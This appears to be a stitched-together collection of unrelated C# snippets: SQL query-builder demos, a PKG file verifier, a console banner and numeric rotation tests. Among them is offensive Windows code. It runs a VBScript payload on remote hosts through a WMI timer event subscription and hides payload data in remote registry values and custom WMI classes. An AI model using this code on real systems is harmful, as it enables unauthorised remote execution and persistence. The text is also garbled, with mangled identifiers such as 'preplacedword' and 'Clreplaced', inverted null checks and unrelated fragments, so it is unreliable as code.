System.Console.WriteLine()

private static async Task RunPostgreSql(string connectionString)
        {
            Console.WriteLine("Running on PostgreSQL database...");

            int commandCounter = 0;

            DbCommand NpgsqlCommandFactory(NpgsqlConnection connection, string sqlText)
            {
                Console.WriteLine($"Command #{++commandCounter}");
                Console.WriteLine(sqlText);
                Console.WriteLine();
                return new NpgsqlCommand(sqlText, connection);
            }

            using (var connection = new NpgsqlConnection(connectionString))
            {
                if (!await CheckConnection(connection, "PostgreSQL"))
                {
                    return;
                }

                using (var database = new SqDatabase<NpgsqlConnection>(
                    connection: connection,
                    commandFactory: NpgsqlCommandFactory,
                    sqlExporter: new PgSqlExporter(builderOptions: SqlBuilderOptions.Default
                        .WithSchemaMap(schemaMap: new[] { new SchemaMap(@from: "dbo", to: "public") }))))
                {
                    await Script(database: database, isMsSql: false);
                }
            }
        }

private static async Task RunMsSql(string connectionString)
        {
            Console.WriteLine("Running on MsSQL database...");
            int commandCounter = 0;

            DbCommand SqlCommandFactory(SqlConnection connection, string sqlText)
            {
                Console.WriteLine($"Command #{++commandCounter}");
                Console.WriteLine(sqlText);
                Console.WriteLine();
                return new SqlCommand(sqlText, connection);
            }

            using (var connection = new SqlConnection(connectionString))
            {

                if (!await CheckConnection(connection, "MsSQL"))
                {
                    return;
                }

                await connection.OpenAsync();

                using (var database = new SqDatabase<SqlConnection>(
                    connection: connection,
                    commandFactory: SqlCommandFactory,
                    sqlExporter: TSqlExporter.Default))
                {
                    await Script(database, isMsSql: true);
                }
            }
        }

private static async Task ExecScenarioAll(IScenario scenario, string msSqlConnectionString, string pgSqlConnectionString, string mySqlConnectionString)
        {
            Stopwatch stopwatch = new Stopwatch();

            Console.WriteLine();
            Console.WriteLine("-MS SQL Test-------");
            stopwatch.Restart();
            await ExecMsSql(scenario, msSqlConnectionString);
            stopwatch.Stop();
            Console.WriteLine($"-MS SQL Test End: {stopwatch.ElapsedMilliseconds} ms");

            Console.WriteLine("-Postgres Test-----");
            stopwatch.Start();
            await ExecNpgSql(scenario, pgSqlConnectionString);
            stopwatch.Stop();
            Console.WriteLine($"-Postgres Test End: {stopwatch.ElapsedMilliseconds} ms");

            Console.WriteLine();
            Console.WriteLine("-MY SQL Test-------");
            stopwatch.Restart();
            await ExecMySql(scenario, mySqlConnectionString);
            stopwatch.Stop();
            Console.WriteLine($"-MY SQL Test End: {stopwatch.ElapsedMilliseconds} ms");
        }

private static async Task RunMySql(string connectionString)
        {
            Console.WriteLine("Running on MySQL database...");
            int commandCounter = 0;

            DbCommand MySqlCommandFactory(MySqlConnection connection, string sqlText)
            {
                Console.WriteLine($"Command #{++commandCounter}");
                Console.WriteLine(sqlText);
                Console.WriteLine();
                return new MySqlCommand(sqlText, connection);
            }

            using (var connection = new MySqlConnection(connectionString))
            {
                if (!await CheckConnection(connection, "MySQL"))
                {
                    return;
                }

                using (var database = new SqDatabase<MySqlConnection>(
                    connection: connection,
                    commandFactory: MySqlCommandFactory,
                    sqlExporter: new MySqlExporter(builderOptions: SqlBuilderOptions.Default)))
                {
                    await Script(database: database, isMsSql: false);
                }
            }
        }

public async Task Exec(IScenarioContext context)
        {
            var tUser = AllTables.GereplacedUser();
            var tCompany = AllTables.GereplacedCompany();

            var unionResult = await SelectTop(2, (tUser.FirstName + "-" + tUser.LastName).As("Name")).From(tUser)
                .Union(SelectTop(2, tCompany.CompanyName.As("Name")).From(tCompany))
                .QueryList(context.Database, r => r.GetString("Name"));

            Console.WriteLine("Union");
            foreach (var name in unionResult)
            {
                Console.WriteLine(name);
            }

            var exceptSet = Values(unionResult
                    .Where((i, index) => index % 2 == 0)
                    .Select(i => new ExprValue[] {Literal(i)})
                    .ToList())
                .As("EX", "Name");

            var unionExceptResult = await SelectTop(2, (tUser.FirstName + "-" + tUser.LastName).As("Name")).From(tUser)
                .Union(SelectTop(2, tCompany.CompanyName.As("Name")).From(tCompany))
                .Except(Select(exceptSet.Alias.AllColumns()).From(exceptSet))
                .QueryList(context.Database, r => r.GetString("Name"));

            Console.WriteLine();
            Console.WriteLine("Union Except");
            foreach (var name in unionExceptResult)
            {
                Console.WriteLine(name);
            }

            for (int i = 0; i < unionResult.Count; i++)
            {
                if (i % 2 != 0)
                {
                    if (unionResult[i] != unionExceptResult[i / 2])
                    {
                        throw new Exception(unionResult[i] + " != " + unionExceptResult[i / 2]);
                    }
                }
            }


        }

public async Task Exec(IScenarioContext context)
        {
            var tUser = AllTables.GereplacedUser();
            var tCustomer = AllTables.GereplacedCustomer();

            var maxVersion = (int) await Select(Max(tUser.Version))
                .From(tUser)
                .QueryScalar(context.Database);

            var countBefore = (long)await Select(Cast(CountOne(), SqlType.Int64))
                .From(tUser)
                .Where(tUser.Version == maxVersion & Exists(SelectOne().From(tCustomer).Where(tCustomer.UserId == tUser.UserId)))
                .QueryScalar(context.Database);

            await Update(tUser)
                .Set(tUser.Version, tUser.Version + 1)
                .From(tUser)
                .InnerJoin(tCustomer, on: tCustomer.UserId == tUser.UserId)
                .All()
                .Exec(context.Database);

            var countAfter = (long)await Select(Cast(CountOne(), SqlType.Int64))
                .From(tUser)
                .Where(tUser.Version == maxVersion + 1)
                .QueryScalar(context.Database);

            if (countBefore != countAfter)
            {
                throw new Exception($"Something went wrong: count before {countBefore}, count after {countAfter}");
            }

            Console.WriteLine();
            Console.WriteLine($"{countAfter} items were updated.");
            Console.WriteLine();
        }

static bool Review()
        {
            Console.WriteLine("\n Please review these settings: \n");
            Console.WriteLine("-------------------------------------------------------------------------------");
            Console.WriteLine("Shortcuts:");
            Console.WriteLine(string.Format("   Replace desktop shortcuts: {0} \n", ReplaceDesktop.ToString()));
            if (WriteShortcuts[0] == "")
            {
                Console.WriteLine(string.Format("   Don't write additional shortcuts"));
            }
            else
            {
                Console.WriteLine(string.Format("   Write additional shortcuts to: \n"));
                foreach(string p in WriteShortcuts)
                {
                    Console.WriteLine(string.Format("       {0}", p));
                }
                Console.WriteLine();
            }
            Console.WriteLine("-------------------------------------------------------------------------------");
            Console.WriteLine("FL Studio versions:\n");
            Console.WriteLine(string.Format("   Path: {0}", FLStudioPaths));
            if(VersionNumber == ""){ Console.WriteLine("    No version specified\n"); }
            else
            { Console.WriteLine(string.Format("   Version: {0}\n", VersionNumber)); }
            Console.WriteLine("-------------------------------------------------------------------------------\n");
            Console.WriteLine("Are these settings OK? (Y/N)");
            switch (Console.ReadKey().Key)
            {
                case ConsoleKey.Y:
                    return true;
                case ConsoleKey.N:
                    return false;
            }
            return false;
        }

static void WriteToFileWMI(string host, string eventName, string username, string preplacedword)
        {
            try
            {
                ConnectionOptions options = new ConnectionOptions();
                if (!String.IsNullOrEmpty(username))
                {
                    Console.WriteLine("[*] User credentials   : {0}", username);
                    options.Username = username;
                    options.Preplacedword = preplacedword;
                }
                Console.WriteLine();

                // first create a 5 second timer on the remote host
                ManagementScope timerScope = new ManagementScope(string.Format(@"\\{0}\root\cimv2", host), options);
                ManagementClreplaced timerClreplaced = new ManagementClreplaced(timerScope, new ManagementPath("__IntervalTimerInstruction"), null);
                ManagementObject myTimer = timerClreplaced.CreateInstance();
                myTimer["IntervalBetweenEvents"] = (UInt32)5000;
                myTimer["SkipIfPreplaceded"] = false;
                myTimer["TimerId"] = "Timer";
                try
                {
                    Console.WriteLine("[+] Creating Event Subscription {0}   : {1}", eventName, host);
                    myTimer.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in creating timer object: {0}", ex.Message);
                    return;
                }

                ManagementScope scope = new ManagementScope(string.Format(@"\\{0}\root\subscription", host), options);

                // then install the __EventFilter for the timer object
                ManagementClreplaced wmiEventFilter = new ManagementClreplaced(scope, new ManagementPath("__EventFilter"), null);
                WqlEventQuery myEventQuery = new WqlEventQuery(@"SELECT * FROM __TimerEvent WHERE TimerID = 'Timer'");
                ManagementObject myEventFilter = wmiEventFilter.CreateInstance();
                myEventFilter["Name"] = eventName;
                myEventFilter["Query"] = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                try
                {
                    myEventFilter.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting event filter   : {0}", ex.Message);
                }


                // now create the ActiveScriptEventConsumer payload (VBS)
                ManagementObject myEventConsumer = new ManagementClreplaced(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance();

                myEventConsumer["Name"] = eventName;
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"] = vbsp;
                myEventConsumer["KillTimeout"] = (UInt32)45;

                try
                {
                    myEventConsumer.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting event consumer: {0}", ex.Message);
                }


                // finally bind them together with a __FilterToConsumerBinding
                ManagementObject myBinder = new ManagementClreplaced(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();

                myBinder["Filter"] = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;

                try
                {
                    myBinder.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting FilterToConsumerBinding: {0}", ex.Message);
                }


                // wait for everything to trigger
                Console.WriteLine("\r\n[+] Waiting 10 seconds for event '{0}' to trigger\r\n", eventName);
                System.Threading.Thread.Sleep(10 * 1000);
                Console.WriteLine("[+] Done...cleaning up");
                // cleanup
                try
                {
                    myTimer.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing 'Timer' interval timer: {0}", ex.Message);
                }

                try
                {
                    myBinder.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing FilterToConsumerBinding: {0}", ex.Message);
                }

                try
                {
                    myEventFilter.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing event filter: {0}", ex.Message);
                }

                try
                {
                    myEventConsumer.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing event consumer: {0}", ex.Message);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Exception : {0}", ex.Message));
            }
        }

static void RemoveRegValue(string host, string username, string preplacedword, string keypath, string keyname)
        {
            if (!keypath.Contains(":"))
            {
                Console.WriteLine("[-] Please put ':' inbetween hive and path: HKCU:Location\\Of\\Key");
                return;
            }
            if (!String.IsNullOrEmpty(host))
            {
                host = "127.0.0.1";
            }
            string[] reginfo = keypath.Split(':');
            string reghive = reginfo[0];
            string wmiNameSpace = "root\\CIMv2";
            UInt32 hive = 0;
            switch (reghive.ToUpper())
            {
                case "HKCR":
                    hive = 0x80000000;
                    break;
                case "HKCU":
                    hive = 0x80000001;
                    break;
                case "HKLM":
                    hive = 0x80000002;
                    break;
                case "HKU":
                    hive = 0x80000003;
                    break;
                case "HKCC":
                    hive = 0x80000005;
                    break;
                default:
                    Console.WriteLine("[X] Error     :  Could not get the right reg hive");
                    return;
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+]  WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }

            try
            {
                //Probably stay with string value only
                ManagementClreplaced registry = new ManagementClreplaced(scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("DeleteValue");
                inParams["hDefKey"] = hive;
                inParams["sSubKeyName"] = keypath;
                inParams["sValueName"] = keyname;
                ManagementBaseObject outParams1 = registry.InvokeMethod("DeleteValue", inParams, null);
                Console.WriteLine("[+] Deleted value at {0} {1}", keypath, keyname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[-] {0}", ex.Message));
                return;
            }
        }

static void QueryReg()
        {
            try
            {
                string keypath = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU";
                Console.WriteLine("Current HKCU:{0} values", keypath);
                RegistryKey regkey;
                regkey = Registry.CurrentUser.OpenSubKey(keypath, true);
                if (regkey.ValueCount > 0)
                {
                    foreach (string subKey in regkey.GetValueNames())
                    {
                        Console.WriteLine("[+]  Key Name : {0}", subKey);
                        Console.WriteLine("        Value : {0}", regkey.GetValue(subKey).ToString());
                        Console.WriteLine();
                    }
                }
                regkey.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine("[-] Error: {0}", ex.Message);
            }
        }

static void RemoveWMIClreplaced(string host, string username, string preplacedword, string wnamespace, string clreplacedname)
        {
            if (!String.IsNullOrEmpty(wnamespace))
            {
                wnamespace = "root\\CIMv2";
            }
            if (!String.IsNullOrEmpty(host))
            {
                host = "127.0.0.1";
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+]  WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var rmclreplaced = new ManagementClreplaced(scope, new ManagementPath(clreplacedname), new ObjectGetOptions());
                rmclreplaced.Delete();
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[-] {0}", ex.Message));
                return;
            }
        }

static void WriteToWMIClreplaced(string host, string username, string preplacedword, string wnamespace, string clreplacedname)
        {
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var nclreplaced = new ManagementClreplaced(scope, new ManagementPath(string.Empty), new ObjectGetOptions());
                nclreplaced["__CLreplaced"] = clreplacedname;
                nclreplaced.Qualifiers.Add("Static", true);
                nclreplaced.Properties.Add("WinVal", CimType.String, false);
                nclreplaced.Properties["WinVal"].Qualifiers.Add("read", true);
                nclreplaced["WinVal"] = datavals;
                //nclreplaced.Properties.Add("Sizeof", CimType.String, false);
                //nclreplaced.Properties["Sizeof"].Qualifiers.Add("read", true);
                //nclreplaced.Properties["Sizeof"].Qualifiers.Add("Description", "Value needed for Windows");
                nclreplaced.Put();

                Console.WriteLine("[+] Create WMI Clreplaced     :   {0} {1}", wnamespace, clreplacedname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error     :  {0}", ex.Message));
                return;
            }
        }

static void WriteToRegKey(string host, string username, string preplacedword, string keypath, string valuename)
        {
            if (!keypath.Contains(":"))
            {
                Console.WriteLine("[-] Please put ':' inbetween hive and path: HKCU:Location\\Of\\Key");
                return;
            }
            string[] reginfo = keypath.Split(':');
            string reghive = reginfo[0];
            string wmiNameSpace = "root\\CIMv2";
            UInt32 hive = 0;
            switch (reghive.ToUpper())
            {
                case "HKCR":
                    hive = 0x80000000;
                    break;
                case "HKCU":
                    hive = 0x80000001;
                    break;
                case "HKLM":
                    hive = 0x80000002;
                    break;
                case "HKU":
                    hive = 0x80000003;
                    break;
                case "HKCC":
                    hive = 0x80000005;
                    break;
                default:
                    Console.WriteLine("[X] Error     :  Could not get the right reg hive");
                    return;
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connect to to WMI    : {0}", ex.Message);
                return;
            }

            try
            {
                //Probably stay with string value only
                ManagementClreplaced registry = new ManagementClreplaced(scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("SetStringValue");
                inParams["hDefKey"] = hive;
                inParams["sSubKeyName"] = reginfo[1];
                inParams["sValueName"] = valuename;
                inParams["sValue"] = datavals;
                ManagementBaseObject outParams = registry.InvokeMethod("SetStringValue", inParams, null);
                if(Convert.ToInt32(outParams["ReturnValue"]) == 0)
                {
                    Console.WriteLine("[+] Created {0} {1} and put content inside", keypath, valuename);
                }
                else
                {
                    Console.WriteLine("[-] An error occured, please check values");
                    return;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error      :  {0}", ex.Message));
                return;
            }
        }

internal static async Task Main(string[] args)
        {
            try
            {
                if (args.Length == 0)
                {
                    Console.WriteLine("Drag .pkg files and/or folders onto this .exe to verify the packages.");
                    var isFirstChar = true;
                    var completedPath = false;
                    var path = new StringBuilder();
                    do
                    {
                        var keyInfo = Console.ReadKey(true);
                        if (isFirstChar)
                        {
                            isFirstChar = false;
                            if (keyInfo.KeyChar != '"')
                                return;
                        }
                        else
                        {
                            if (keyInfo.KeyChar == '"')
                            {
                                completedPath = true;
                                args = new[] {path.ToString()};
                            }
                            else
                                path.Append(keyInfo.KeyChar);
                        }
                    } while (!completedPath);
                    Console.Clear();
                }

                Console.OutputEncoding = new UTF8Encoding(false);
                Console.replacedle = replacedle;
                Console.CursorVisible = false;
                Console.WriteLine("Scanning for PKGs...");
                var pkgList = new List<FileInfo>();
                Console.ForegroundColor = ConsoleColor.Yellow;
                foreach (var item in args)
                {
                    var path = item.Trim('"');
                    if (File.Exists(path))
                        pkgList.Add(new FileInfo(path));
                    else if (Directory.Exists(path))
                        pkgList.AddRange(GetFilePaths(path, "*.pkg", SearchOption.AllDirectories).Select(p => new FileInfo(p)));
                    else
                        Console.WriteLine("Unknown path: " + path);
                }
                Console.ResetColor();
                if (pkgList.Count == 0)
                {
                    Console.WriteLine("No packages were found. Check paths, and try again.");
                    return;
                }

                var longestFilename = Math.Max(pkgList.Max(i => i.Name.Length), HeaderPkgName.Length);
                var sigWidth = Math.Max(HeaderSignature.Length, 8);
                var csumWidth = Math.Max(HeaderChecksum.Length, 5);
                var csumsWidth = 1 + sigWidth + 1 + csumWidth + 1;
                var idealWidth = longestFilename + csumsWidth;
                try
                {
                    if (idealWidth > Console.LargestWindowWidth)
                    {
                        longestFilename = Console.LargestWindowWidth - csumsWidth;
                        idealWidth = Console.LargestWindowWidth;
                    }
                    if (idealWidth > Console.WindowWidth)
                    {
                        Console.BufferWidth = Math.Max(Console.BufferWidth, idealWidth);
                        Console.WindowWidth = idealWidth;
                    }
                    Console.BufferHeight = Math.Max(Console.BufferHeight, Math.Min(9999, pkgList.Count + 10));
                }
                catch (PlatformNotSupportedException) { }
                Console.WriteLine($"{HeaderPkgName.Trim(longestFilename).PadRight(longestFilename)} {HeaderSignature.PadLeft(sigWidth)} {HeaderChecksum.PadLeft(csumWidth)}");
                using var cts = new CancellationTokenSource();
                Console.CancelKeyPress += (sender, eventArgs) => { cts.Cancel(); };
                var t = new Thread(() =>
                                   {
                                       try
                                       {
                                           var indicatorIdx = 0;
                                           while (!cts.Token.IsCancellationRequested)
                                           {
                                               Task.Delay(1000, cts.Token).ConfigureAwait(false).GetAwaiter().GetResult();
                                               if (cts.Token.IsCancellationRequested)
                                                   return;

                                               PkgChecker.Sync.Wait(cts.Token);
                                               try
                                               {
                                                   var frame = Animation[(indicatorIdx++) % Animation.Length];
                                                   var currentProgress = PkgChecker.CurrentFileProcessedBytes;
                                                   Console.replacedle = $"{replacedle} [{(double)(PkgChecker.ProcessedBytes + currentProgress) / PkgChecker.TotalFileSize * 100:0.00}%] {frame}";
                                                   if (PkgChecker.CurrentPadding > 0)
                                                   {
                                                       Console.CursorVisible = false;
                                                       var (top, left) = (Console.CursorTop, Console.CursorLeft);
                                                       Console.Write($"{(double)currentProgress / PkgChecker.CurrentFileSize * 100:0}%".PadLeft(PkgChecker.CurrentPadding));
                                                       Console.CursorTop = top;
                                                       Console.CursorLeft = left;
                                                       Console.CursorVisible = false;
                                                   }
                                               }
                                               finally
                                               {
                                                   PkgChecker.Sync.Release();
                                               }
                                           }
                                       }
                                       catch (TaskCanceledException)
                                       {
                                       }
                                   });
                t.Start();
                await PkgChecker.CheckAsync(pkgList, longestFilename, sigWidth, csumWidth, csumsWidth-2, cts.Token).ConfigureAwait(false);
                cts.Cancel(false);
                t.Join();
            }
            finally
            {
                Console.replacedle = replacedle;
                Console.WriteLine("Press any key to exit");
                Console.ReadKey();
                Console.WriteLine();
                Console.CursorVisible = true;
            }
        }

private static void ConsoleBanner()
    {
        Console.ForegroundColor = ConsoleColor.White;
        Console.WriteLine();
        Console.WriteLine(@" ***************************************************************************************************************");
        Console.WriteLine(@" *                                                                                                             *");
        Console.WriteLine(@" *                               $$\   $$$$$$$$\ $$\      $$\ $$\   $$\ $$\   $$\                              *");
        Console.WriteLine(@" *                             $$$$ |  \____$$  |$$$\    $$$ |$$ | $$  |$$ |  $$ |                             *");
        Console.WriteLine(@" *                             \_$$ |      $$  / $$$$\  $$$$ |$$ |$$  / $$ |  $$ |                             *");
        Console.WriteLine(@" *                               $$ |     $$  /  $$\$$\$$ $$ |$$$$$  /  $$$$$$$$ |                             *");
        Console.WriteLine(@" *                               $$ |    $$  /   $$ \$$$  $$ |$$  $$<   $$  __$$ |                             *");
        Console.WriteLine(@" *                               $$ |   $$  /    $$ |\$  /$$ |$$ |\$$\  $$ |  $$ |                             *");
        Console.WriteLine(@" *                             $$$$$$\ $$  /     $$ | \_/ $$ |$$ | \$$\ $$ |  $$ |                             *");
        Console.WriteLine(@" *                             \______|\__/      \__|     \__|\__|  \__|\__|  \__|                             *");
        Console.WriteLine(@" *                                                                                                             *");
        Console.WriteLine(@" *                                                                                                             *");
        Console.Write(@" *                                      ");
        Console.ForegroundColor = ConsoleColor.Green;
        Console.Write(@"启动成功，欢迎使用 17MKH ~");
        Console.ForegroundColor = ConsoleColor.White;
        Console.WriteLine(@"                                             *");
        Console.WriteLine(@" *                                                                                                             *");
        Console.WriteLine(@" *                                                                                                             *");
        Console.WriteLine(@" ***************************************************************************************************************");
        Console.WriteLine();
    }

private static void testrotations()
  {
    double[,] numArray1 = new double[0, 0];
    double[,] numArray2 = new double[0, 0];
    double[,] numArray3 = new double[0, 0];
    double[,] numArray4 = new double[0, 0];
    double[] numArray5 = new double[0];
    double[] numArray6 = new double[0];
    double[] numArray7 = new double[0];
    double[] numArray8 = new double[0];
    double[] numArray9 = new double[0];
    int num1 = 1000;
    double val2_1 = 0.0;
    for (int index1 = 1; index1 <= num1; ++index1)
    {
      int num2 = 2 + AP.Math.RandomInteger(50);
      int num3 = 2 + AP.Math.RandomInteger(50);
      bool isforward = AP.Math.RandomReal() > 0.5;
      int num4 = System.Math.Max(num2, num3);
      double[,] a1 = new double[num2 + 1, num3 + 1];
      double[,] a2 = new double[num2 + 1, num3 + 1];
      double[,] a3 = new double[num2 + 1, num3 + 1];
      double[,] a4 = new double[num2 + 1, num3 + 1];
      double[] c1 = new double[num2 - 1 + 1];
      double[] s1 = new double[num2 - 1 + 1];
      double[] c2 = new double[num3 - 1 + 1];
      double[] s2 = new double[num3 - 1 + 1];
      double[] work = new double[num4 + 1];
      for (int index2 = 1; index2 <= num2; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
        {
          a1[index2, index3] = 2.0 * AP.Math.RandomReal() - 1.0;
          a2[index2, index3] = a1[index2, index3];
          a3[index2, index3] = a1[index2, index3];
          a4[index2, index3] = a1[index2, index3];
        }
      }
      for (int index2 = 1; index2 <= num2 - 1; ++index2)
      {
        double num5 = 2.0 * System.Math.PI * AP.Math.RandomReal();
        c1[index2] = System.Math.Cos(num5);
        s1[index2] = System.Math.Sin(num5);
      }
      for (int index2 = 1; index2 <= num3 - 1; ++index2)
      {
        double num5 = 2.0 * System.Math.PI * AP.Math.RandomReal();
        c2[index2] = System.Math.Cos(num5);
        s2[index2] = System.Math.Sin(num5);
      }
      rotations.applyrotationsfromtheleft(isforward, 1, num2, 1, num3, ref c1, ref s1, ref a1, ref work);
      for (int index2 = 1; index2 <= num3; ++index2)
        rotations.applyrotationsfromtheleft(isforward, 1, num2, index2, index2, ref c1, ref s1, ref a2, ref work);
      double val1_1 = 0.0;
      for (int index2 = 1; index2 <= num2; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
          val1_1 = System.Math.Max(val1_1, System.Math.Abs(a1[index2, index3] - a2[index2, index3]));
      }
      double val2_2 = System.Math.Max(val1_1, val2_1);
      rotations.applyrotationsfromtheright(isforward, 1, num2, 1, num3, ref c2, ref s2, ref a3, ref work);
      for (int index2 = 1; index2 <= num2; ++index2)
        rotations.applyrotationsfromtheright(isforward, index2, index2, 1, num3, ref c2, ref s2, ref a4, ref work);
      double val1_2 = 0.0;
      for (int index2 = 1; index2 <= num2; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
          val1_2 = System.Math.Max(val1_2, System.Math.Abs(a3[index2, index3] - a4[index2, index3]));
      }
      val2_1 = System.Math.Max(val1_2, val2_2);
    }
    Console.Write("TESTING ROTATIONS");
    Console.WriteLine();
    Console.Write("Preplaced count ");
    Console.Write("{0,0:d}", (object) num1);
    Console.WriteLine();
    Console.Write("Error is ");
    Console.Write("{0,5:E3}", (object) val2_1);
    Console.WriteLine();
  }

private static void testreflections()
  {
    double[] numArray1 = new double[0];
    double[] numArray2 = new double[0];
    double[] numArray3 = new double[0];
    double[,] numArray4 = new double[0, 0];
    double[,] numArray5 = new double[0, 0];
    double[,] numArray6 = new double[0, 0];
    double[,] numArray7 = new double[0, 0];
    double num1 = 0.0;
    double tau = 0.0;
    int num2 = 1000;
    double val1_1 = 0.0;
    double val1_2 = 0.0;
    double val1_3 = 0.0;
    for (int index1 = 1; index1 <= num2; ++index1)
    {
      int num3 = 1 + AP.Math.RandomInteger(10);
      int num4 = 1 + AP.Math.RandomInteger(10);
      int num5 = System.Math.Max(num4, num3);
      double[] numArray8 = new double[num5 + 1];
      double[] numArray9 = new double[num5 + 1];
      double[] work = new double[num5 + 1];
      double[,] numArray10 = new double[num5 + 1, num5 + 1];
      double[,] numArray11 = new double[num5 + 1, num5 + 1];
      double[,] c = new double[num5 + 1, num5 + 1];
      double[,] numArray12 = new double[num5 + 1, num5 + 1];
      for (int index2 = 1; index2 <= num3; ++index2)
      {
        numArray8[index2] = 2.0 * AP.Math.RandomReal() - 1.0;
        numArray9[index2] = numArray8[index2];
      }
      reflections.generatereflection(ref numArray9, num3, ref tau);
      double num6 = numArray9[1];
      numArray9[1] = 1.0;
      for (int index2 = 1; index2 <= num3; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
          numArray10[index2, index3] = index2 != index3 ? -(tau * numArray9[index2] * numArray9[index3]) : 1.0 - tau * numArray9[index2] * numArray9[index3];
      }
      double num7 = 0.0;
      for (int index2 = 1; index2 <= num3; ++index2)
      {
        double num8 = 0.0;
        for (int index3 = 1; index3 <= num3; ++index3)
          num8 += numArray10[index2, index3] * numArray8[index3];
        num7 = index2 != 1 ? System.Math.Max(num7, System.Math.Abs(num8)) : System.Math.Max(num7, System.Math.Abs(num8 - num6));
      }
      val1_3 = System.Math.Max(val1_3, num7);
      for (int index2 = 1; index2 <= num4; ++index2)
      {
        numArray8[index2] = 2.0 * AP.Math.RandomReal() - 1.0;
        numArray9[index2] = numArray8[index2];
      }
      for (int index2 = 1; index2 <= num4; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
        {
          numArray11[index2, index3] = 2.0 * AP.Math.RandomReal() - 1.0;
          c[index2, index3] = numArray11[index2, index3];
        }
      }
      reflections.generatereflection(ref numArray9, num4, ref tau);
      num1 = numArray9[1];
      numArray9[1] = 1.0;
      reflections.applyreflectionfromtheleft(ref c, tau, ref numArray9, 1, num4, 1, num3, ref work);
      for (int index2 = 1; index2 <= num4; ++index2)
      {
        for (int index3 = 1; index3 <= num4; ++index3)
          numArray10[index2, index3] = index2 != index3 ? -(tau * numArray9[index2] * numArray9[index3]) : 1.0 - tau * numArray9[index2] * numArray9[index3];
      }
      for (int index2 = 1; index2 <= num4; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
        {
          double num8 = 0.0;
          for (int index4 = 1; index4 <= num4; ++index4)
            num8 += numArray10[index2, index4] * numArray11[index4, index3];
          numArray12[index2, index3] = num8;
        }
      }
      double num9 = 0.0;
      for (int index2 = 1; index2 <= num4; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
          num9 = System.Math.Max(num9, System.Math.Abs(c[index2, index3] - numArray12[index2, index3]));
      }
      val1_2 = System.Math.Max(val1_2, num9);
      for (int index2 = 1; index2 <= num3; ++index2)
      {
        numArray8[index2] = 2.0 * AP.Math.RandomReal() - 1.0;
        numArray9[index2] = numArray8[index2];
      }
      for (int index2 = 1; index2 <= num4; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
        {
          numArray11[index2, index3] = 2.0 * AP.Math.RandomReal() - 1.0;
